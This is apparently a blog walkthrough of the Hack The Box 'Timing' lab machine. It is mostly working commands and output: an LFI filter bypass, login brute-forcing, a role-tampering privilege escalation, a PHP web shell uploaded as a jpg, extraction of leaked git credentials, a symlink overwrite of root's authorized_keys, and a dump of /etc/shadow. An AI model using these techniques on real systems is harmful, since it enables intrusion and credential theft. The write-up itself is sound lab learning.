Timing

Arjun Aryal
13 min readJan 4, 2022

--

Nmap

└─$ sudo nmap -sC -sV -oA nmap/timing 10.10.11.135
[sudo] password for arjun:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-16 03:57 EST
Nmap scan report for 10.10.11.135
Host is up (0.075s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.22 seconds

From the Nmap scan, we can see only two ports are open. Port 22 is running ssh and port 80 is running some sort of PHP application.
Let’s look at the websites

web

On the home page there was nothing else besides the login page.

Let’s brute force the directory using gobuster

└─$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u 10.10.11.135 -o web/gobuster_timing -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.135
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/16 08:23:05 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
/login.php (Status: 200) [Size: 5609]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/footer.php (Status: 200) [Size: 3937]
-------------------------snip-----------------

we can see couple of directory and files. All the directory are forbidden and most of the php files are redirected to login page. However “image.php” pages is blank

Forbidden Image Directory
image.php page

We can try some basic SQLi at login page, but it won’t work. We can notice the change in url.

SQLi

Looking at the url, there seem to be some sort of LFI. we din’t get much informtion from the gobuster, so let’ fuzz image directory

└─$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.135/images -o web/gobuster_image -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.135/images
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/16 09:51:39 Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 321] [--> http://10.10.11.135/images/uploads/]
----------------------snip------------

There is uploads directory within the image directory. uploads directory is also forbidden

At this point, my speculation was, if user upload file using upload.php, it will dump the file in “/images/uploads” and “image.php” must be used to access the file. Lets try fuzzing for LFI parameter. I am using most common parameter list for LFI. You can find it at LFI Parameters List | bt0’s Security Blog (humbertojunior.com.br) . I did add few based on the gobuster result
Parameter

└─$ cat parameter
?cat=
?dir=
?action=
?board=
?date=
?detail=
?file=
?download=
?path=
?folder=
?prefix=
?include=
?page=
?inc=
?locate=
?show=
?doc=
?site=
?type=
?view=
?content=
?document=
?layout=
?mod=
?conf=
?image=
?img=
?login=
?upload=
?log=
?uploads=
└─$ ffuf -w ./parameter -u http://10.10.11.135/image.phpFUZZ../../../../etc/passwd -fs 0 /'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.135/image.phpFUZZ../../../../etc/passwd
:: Wordlist : FUZZ: ./parameter
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 0
________________________________________________
?img= [Status: 200, Size: 25, Words: 3, Lines: 1]
:: Progress: [31/31] :: Job [1/1] :: 14 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

the “?img” parameter is has status code 200 and size 25. Lets curl using the ?img paramter

└─$ curl 10.10.11.135/image.php?img=../../../../etc/paswd
Hacking attempt detected!

we get the response with “Hacking attempt detected!” message. We need to bypass filter
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter

└─$ curl "http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd" cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kL25ldGlmOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQvcmVzb2x2ZTovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDI6MTA2OjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA0OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbHhkOng6MTA1OjY1NTM0OjovdmFyL2xpYi9seGQvOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDY6MTEwOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCmRuc21hc3E6eDoxMDc6NjU1MzQ6ZG5zbWFzcSwsLDovdmFyL2xpYi9taXNjOi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwODoxMTI6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDk6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTEwOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMTE6MTE0Ok15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQphYXJvbjp4OjEwMDA6MTAwMDphYXJvbjovaG9tZS9hYXJvbjovYmluL2Jhc2gK

We got the base64 encoded information, let’s decode it and grep the username which have shell.

└─$ curl "http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d | grep /bin/bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2152 100 2152 0 0 13883 0 --:--:-- --:--:-- --:--:-- 13883
root:x:0:0:root:/root:/bin/bash
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

we get the user of the system aaron.

We can download all the php file , we got from gobuster result and check the source code

└─$ curl "http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=logout.php" | base64 -d >> logout.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 152 100 152 0 0 955 0 --:--:-- --:--:-- --:--:-- 955

Similary download all the files.

from db_conn.php we got database credentials

└─$ cat db_conn.php 
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

upload.php gives more information.

ìóìó<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>

We can upload files if we have access to the upload functaionality. Let’s check admin_auth_check.php file

<?phpinclude_once "auth_check.php";if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>

To acces the upload functionality we user need to have role 1. We do have a user aaron. Let’s try to brute force for the pasword. we will be using burp intruder to do so. Here I’m using “SecLists/Passwords/UserPassCombo-Jay.txt” this word list

we did get the password for “aaron” user that is “aaron”. Lets login using the username aaron and password.

on login, we see that aaron is user 2 . Lets edit the profile and intercept it

It won’t matter if we change anything here. We are concerned about role only. Add the role=1 and forward it

Add the role=1, forward it and refreshed. we can see tha admin panel

Now let’s take a look on upload.php

<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>

from the above code we can summarise, uploaded files will be moved to “/images/uploads/” directory. File Extension must be ‘jpg’, and upon upload the filename will be changed to MD5 sum. The logic to generate MD5 sum is, it takes two things as input, ‘$file_hash’ and ‘time())’ and then adds the base filename
of uploaded file to that hash.
We need to match the time of upload to know hash of the file. For that we need to make sure our local time is neither far behind nor far ahead. we can use nmap script for this purpose

└─$ nmap -p80 --script http-date 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-16 13:44 EST
Nmap scan report for 10.10.11.135
Host is up (0.078s latency).
PORT STATE SERVICE
80/tcp open http
|_http-date: Thu, 16 Dec 2021 18:44:37 GMT; 0s from local time.
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
└─$ date -u +%d/%m/%Y%t%H:%M:%S
16/12/2021 18:44:40

If you have time too far ahead or behind you can use ntpdate command to sync time.
Lets create jpg file with PHP code which can give code execution access

└─$ echo "<?php system($_GET['cmd']);?>" >> shell.jpg

Now we need to start a PHP interactive shell, where we run continuously run PHP code to generate hash based on time and string

└─$ php -a                                                                                                                                                              
Interactive mode enabled
php > while(true){echo md5('$file_hash'. time());echo "\n";sleep(1);}
d910657f5497a66cad521265bf78e5be
a88dc8b7b3943e439130b23858c719c4
0537d24306f5dbc4cb238f7dd984899e
ce6e4d15554c2abef37bfa6895fdfa36
c30411703edb130d4a40eec6afe092e1
3e10feeadc2cd722dfc2e7ef69538556
^C

Keep this running while we upload the file. Now we need to upload recently created jpg file, intercept the upload request, send it to repeater, check the response time and match the time with PHP hash.

Copy the hash, add the base filename of uploaded jpg file and access using LFI

└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/ce6e4d15554c2abef37bfa6895fdfa36_shell.jpg&cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now we have code execution. We can try to gain reverse shell but it won’t work,as it seems firewalls are in place to block outgoing request from a www-data user.

└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/ce6e4d15554c2abef37bfa6895fdfa36_shell.jpg&cmd=ls+-la+/opt'
total 624
drwxr-xr-x 2 root root 4096 Dec 2 11:19 .
drwxr-xr-x 24 root root 4096 Nov 29 01:34 ..
-rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip

‘/opt’ directory has backup file for website. Let’s download them first. We don’t have direct access to the backup file so let’s copy it to the /uploads

└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/ce6e4d15554c2abef37bfa6895fdfa36_shell.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/images/uploads/'

Now we can download the file

└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/source-files-backup.zip' -o source-files-backup.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 613k 0 613k 0 0 736k 0 --:--:-- --:--:-- --:--:-- 735k

Extracting the file, we will .git repository.

└─$ ls -la
total 76
drwxr-xr-x 6 arjun arjun 4096 Jul 20 18:34 .
drwxr-xr-x 7 arjun arjun 4096 Dec 24 03:48 ..
-rw-r--r-- 1 arjun arjun 200 Jul 20 18:34 admin_auth_check.php
-rw-r--r-- 1 arjun arjun 373 Jul 20 18:34 auth_check.php
-rw-r--r-- 1 arjun arjun 1268 Jul 20 18:34 avatar_uploader.php
drwxr-xr-x 2 arjun arjun 4096 Jul 20 18:34 css
-rw-r--r-- 1 arjun arjun 92 Jul 20 18:34 db_conn.php
-rw-r--r-- 1 arjun arjun 3937 Jul 20 18:34 footer.php
drwxr-xr-x 8 arjun arjun 4096 Jul 20 18:35 .git
---------------------------snip----------

We can use to GitTools to extract commits.

└─$ /opt/GitTools/Extractor/extractor.sh . gitfiles/                                                                                                                    
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[+] Found commit: 16de2698b5b122c93461298eab730d00273bd83e
[+] Found file: /home/arjun/Desktop/htb/timing/backup/gitfiles//0-16de2698b5b122c93461298eab730d00273bd83e/admin_auth_check.php
[+] Found file: /home/arjun/Desktop/htb/timing/backup/gitfiles//0-16de2698b5b122c93461298eab730d00273bd83e/auth_check.php
[+] Found file: /home/arjun/Desktop/htb/timing/backup/gitfiles//0-16de2698b5b122c93461298eab730d00273bd83e/avatar_uploader.php
[+] Found folder: /home/arjun/Desktop/htb/timing/backup/gitfiles//0-16de2698b5b122c93461298eab730d00273bd83e/css
-----------------------snip--------------

After the commit extraction we can see two directories.

└─$ ls
0-16de2698b5b122c93461298eab730d00273bd83e 1-e4e214696159a25c69812571c8214d2bf8736a3f

We can check what has been changed.

└─$ diff 0-16de2698b5b122c93461298eab730d00273bd83e/ 1-e4e214696159a25c69812571c8214d2bf8736a3f/
diff '--color=auto' 0-16de2698b5b122c93461298eab730d00273bd83e/commit-meta.txt 1-e4e214696159a25c69812571c8214d2bf8736a3f/commit-meta.txt
1,4c1,3
< tree dcbc181650833009145874df7da85b4c6d84b2ca
< parent e4e214696159a25c69812571c8214d2bf8736a3f
< author grumpy <grumpy@localhost.com> 1626820453 +0000
< committer grumpy <grumpy@localhost.com> 1626820453 +0000
---
> tree fd7fb62599f9702baeb0abdc42a8a4b68e49ec23
> author grumpy <grumpy@localhost.com> 1626820434 +0000
> committer grumpy <grumpy@localhost.com> 1626820434 +0000
6c5
< db_conn updated
---
> init
Common subdirectories: 0-16de2698b5b122c93461298eab730d00273bd83e/css and 1-e4e214696159a25c69812571c8214d2bf8736a3f/css
diff '--color=auto' 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
2c2
< $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
---
> $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
Common subdirectories: 0-16de2698b5b122c93461298eab730d00273bd83e/images and 1-e4e214696159a25c69812571c8214d2bf8736a3f/images
Common subdirectories: 0-16de2698b5b122c93461298eab730d00273bd83e/js and 1-e4e214696159a25c69812571c8214d2bf8736a3f/js

We can see database credentials has been modified. let’s try these credentials to login on ssh

└─$ ssh aaron@10.10.11.135
aaron@10.10.11.135's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Dec 24 09:12:47 UTC 2021 System load: 0.0 Processes: 173
Usage of /: 49.1% of 4.85GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Dec 24 09:12:29 2021 from 10.10.14.33
aaron@timing:~$ id
uid=1000(aaron) gid=1000(aaron) groups=1000(aaron)
aaron@timing:~$ ls
user.txt

Here,we have the user flag.

root

aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
aaron@timing:~$

aaron can run the binary with root privileges. Let’s look into it

aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
aaron@timing:~$

It is a shell script,running java application from /root. Let’s interact with the application
on execution of the binary we are provide with two options i.e FTP and HTTP

aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>

Let’s setup a HTTP server on kali and try downloading file

└─$ python3 -m  http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.135 - - [24/Dec/2021 04:32:31] "GET /test.jpg HTTP/1.0" 200 -
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.33/test.jpg
Initializing download: http://10.10.14.33/test.jpg
File size: 23 bytes
Opening output file test.jpg
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 23 byte in 0 seconds. (0.11 KB/s)rw-r--r-- 1 root root 23 Dec 24 09:32 test.jpg

As we can see the file permissions are of root user and ‘aaron’ user has read access to it. Let’s run pspy in one ssh terminal and execute binary in another. This wil give the general idea what is happening behind the scene.

2021/12/24 09:45:45 CMD: UID=0    PID=55344  | wget -r ftp://10.10.14.33/test.jpg 021/12/24 09:46:08 CMD: UID=0    PID=55402  | /root/axel http://10.10.14.33/test.jpg

FTP is using wget and HTTP is using axel application to download the file. We can get the axel version from ncat

└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.11.135] 45620
GET / HTTP/1.0
Host: 10.10.14.33
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)

The user-agent reveals the version. This version has no CVE.
Let’s create a symlink of /root/.ssh/authorized_keys with keys so when we get the file with same name it's overwrite the content of authorized_keys

aaron@timing:~$  ln -s /root/.ssh/authorized_keys keys
aaron@timing:~$ ls -la | grep keys
lrwxrwxrwx 1 aaron aaron 26 Jan 4 12:03 keys -> /root/.ssh/authorized_keys

now create ssh-keys by ssh-keygen and rename id_rsa.pub to keys and start http server

└─$ ssh-keygen                           
Generating public/private rsa key pair.
Enter file in which to save the key (/home/arjun/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Passphrases do not match. Try again.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Passphrases do not match. Try again.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:3KycywJ2xLvlGkrevAMnbyWgK6JaAr2wve10AlS4BO4 arjun@kali
The key's randomart image is:
+---[RSA 3072]----+
|.. .. |
|. o. |
| o.. . |
|.o. . o. o |
|oEo. o .S o |
|.+.o= =.oo |
|o +o+Bo*+ |
|oo.* **o.. |
|*...=.==o |
+----[SHA256]-----+
┌──(arjun㉿kali)-[~/Desktop/htb/timing]
└─$ mv id_rsa.pub keys
┌──(arjun㉿kali)-[~/Desktop/htb/timing]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.67 - - [04/Jan/2022 11:59:48] "GET / HTTP/1.1" 200 -
10.10.11.135 - - [04/Jan/2022 12:00:08] code 404, message File not found
10.10.11.135 - - [04/Jan/2022 12:00:08] "GET /keys%20%20%20 HTTP/1.0" 404 -
10.10.14.67 - - [04/Jan/2022 12:01:57] "GET /keys HTTP/1.1" 200 -
10.10.11.135 - - [04/Jan/2022 12:05:06] "GET /keys HTTP/1.0" 200 -
10.10.11.135 - - [04/Jan/2022 12:05:06] "GET /keys HTTP/1.0" 200 -

Now download keys using /usr/bin/netutils

aaron@timing:~$  sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.67/keys
Initializing download: http://10.10.14.67/keys
File size: 564 bytes
Opening output file keys
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 564 byte in 0 seconds. (2.75 KB/s)netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2
┌──(arjun㉿kali)-[~/Desktop/htb/timing]
└─$ ssh -i id_rsa root@10.10.11.135
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Jan 4 12:05:43 UTC 2022

System load: 0.02 Processes: 183
Usage of /: 49.6% of 4.85GB Users logged in: 1
Memory usage: 13% IP address for eth0: 10.10.11.135
Swap usage: 0%

8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Dec 7 12:08:29 2021
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
root@timing:~# cat /etc/shadow
root:$6$94dEO.yJ$NVRpUQ0JnWZJKDRr//hnXKGJeiXCVSYkdlxYt7UgkvIr/3z8pkQwoEd67QtnWALkGV9A.C8T3hGtxUeZIH7ZW.:18826:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::

--

--

Arjun Aryal

Cyber Security Enthusiast| CTF challenge solving | Python programmer